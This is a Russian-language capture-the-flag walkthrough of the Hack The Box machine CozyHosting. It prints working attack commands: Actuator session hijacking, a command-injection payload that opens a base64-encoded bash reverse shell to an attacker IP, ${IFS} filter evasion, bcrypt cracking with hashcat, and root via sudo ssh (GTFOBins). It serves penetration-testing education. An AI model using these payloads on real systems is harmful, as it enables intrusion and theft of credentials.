HTB CozyHosting. Эксплуатируем инъекцию команд в веб-приложении на Java
Сегодня мы с тобой поработаем с фреймворком Spring Boot и проведем инъекцию команд, чтобы получить доступ к веб‑серверу. Захватив сессию, покопаемся в базе данных в поисках учетных данных, а при повышении привилегий применим технику GTFOBins для SSH.
Наша цель — получение прав суперпользователя на машине CozyHosting с учебной площадки Hack The Box. Уровень сложности машины — легкий.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел два открытых порта:
По обыкновению, сразу переходим к просмотру сайтов на веб‑сервере.
ТОЧКА ВХОДА
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию скрытых каталогов и файлов.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
feroxbuster -u http://cozyhosting.htb/ -t 256 -w files_interesting.txt
В отчете видим закрытую админку (/admin
), страницу авторизации (/login
), а также каталог /actuator
.
Spring Boot Actuator — это подпроект Spring Boot Framework. Он использует эндпоинты HTTP для предоставления оперативной информации о любом запущенном приложении. Основное преимущество этой библиотеки в том, что администратор получает показатели работоспособности и мониторинга из готовых к работе приложений. К тому же Actuator — это удобное средство для сбора метрик и информирования о состоянии базы данных. Первым делом проверим конечные точки Actuator.
curl http://cozyhosting.htb/actuator | jq
Теперь можно обратиться к каждой из них и получить информацию о той или иной странице. К примеру, /actuator/sessions
отобразит список существующих в данный момент сессий на сайте.
curl http://cozyhosting.htb/actuator/sessions | jq
Эндпоинт /actuator/mappings
даст нам карту сайта.
curl http://cozyhosting.htb/actuator/mappings | jq
Отмечаем для себя интересную страницу /executessh
, принимающую POST-данные. Это потенциально путь к удаленному исполнению кода. Также в скане не было страницы /addhost
. Чтобы получить к доступ к этим адресам, сначала нужно авторизоваться.
ТОЧКА ОПОРЫ
У нас есть несколько идентификаторов сессий, некоторые из них для неавторизованных пользователей, а некоторые для пользователя kanderson
. Откроем в браузере средства разработки, перейдем к настройкам приложения и в локальном хранилище развернем сохраненные cookies. Затем выбираем из списка текущий сайт и меняем значение JSESSIONID
. После обновления страницы переходим к закрытой до этого странице /admin
.
Здесь есть форма для проверки соединения SSH, видимо, она и обращается к странице /executessh
. Делаем тестовый запрос и перехватываем данные в Burp Proxy. Так как адрес сервера и имя пользователя, скорее всего, просто передаются команде SSH в командную строку, используем символ ;
для разделения «команд».
Видим сообщение об ошибке command not found
, так как реальная команда была отделена символом ;
. Теперь передаем самую обычную нагрузку для инъекции команд ОС.
В ответе получаем часть вывода выполненной команды id
. Так как проверка прошла успешно, открываем листенер pwncat-cs -lp 4321
и выполняем реверс‑шелл:
/bin/bash -i >& /dev/tcp/10.10.16.18/4321 0>&1
Закодируем его в Base64 и передадим в виде вот такой конструкции:
echo '/bin/bash -i >& /dev/tcp/10.10.16.18/4321 0>&1' | base64 -w0echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE4LzQzMjEgMD4mMQo= |base64 -d | bash
Но снова получим ошибку, на этот раз связанную с наличием в нагрузке пробелов. Заменить их очень просто. К примеру, можно использовать последовательность ${IFS}
, которая воспринимается операционной системой как разделитель по умолчанию, то есть пробел. Снова выполняем запрос и на этот раз получаем сессию от имени пользователя app
.
ПРОДВИЖЕНИЕ
В домашнем каталоге учетной записи находим само приложение.
Так как это файл .jar, мы можем его декомпилировать и проанализировать исходный код. Для загрузки файла с удаленного хоста используем pwncat-cs. Для этого сначала комбинацией клавиш Ctrl-D выходим в основное меню листенера, командой download
скачиваем файл и командой back
возвращаемся обратно в сессию.
Первым делом разархивируем все файлы и проверим несколько важных строк вроде passw
, secret
и token
.
И находим какой‑то пароль в файле application.properties
. Давай посмотрим все содержимое этого файла.
Мы нашли учетные данные для подключения к СУБД PostgreSQL. Не забываем применить этот пароль к другим пользователям в системе, хотя в этот раз ничего и не получается. Подключимся к базе cozyhosting
и посмотрим, какие там есть таблицы.
psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost:5432/cozyhosting"\dt
Наиболее интересна нам таблица users
, получим из нее все записи.
Это хеши bcrypt, и нам нужно их взломать. Для перебора при помощи hashcat ему надо будет указать соответствующий режим. Если мы его не знаем, можно поискать в справке:
hashcat --example | grep '\$2a\#39; -B12 -A1
Получаем режим 3200, его необходимо указать в параметре -m
при запуске hashcat.
hashcat -m 3200 -a 0 hashes.txt rockyou.txt
Получаем один пароль, который снова пробуем использовать для логина от имени системных пользователей. Их список можно узнать из файла /etc/passwd
.
Получаем возможность подключаться по SSH, а также использовать команду su
для смены юзера.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Один из самых частых методов повышения привилегий — через команды, указанные в файле sudoers
.
Справка: sudoers
Файл /etc/sudoers
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l
.
Текущий пользователь может выполнить команду ssh
в привилегированном контексте. Первым делом проверяем наличие техник GTFOBins для SSH.
Справка: GTFOBins
GTFOBins — это список исполняемых файлов Unix, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах. Проект собирает информацию о способах использовать законные функции исполняемых файлов Unix таким образом, чтобы получить доступ к командным оболочкам, повысить привилегии или передать файлы.
Находим три подходящих варианта получения командной оболочки при выполнении команды SSH. Вторая найденная команда при использовании sudo дает нам шелл в привилегированном контексте.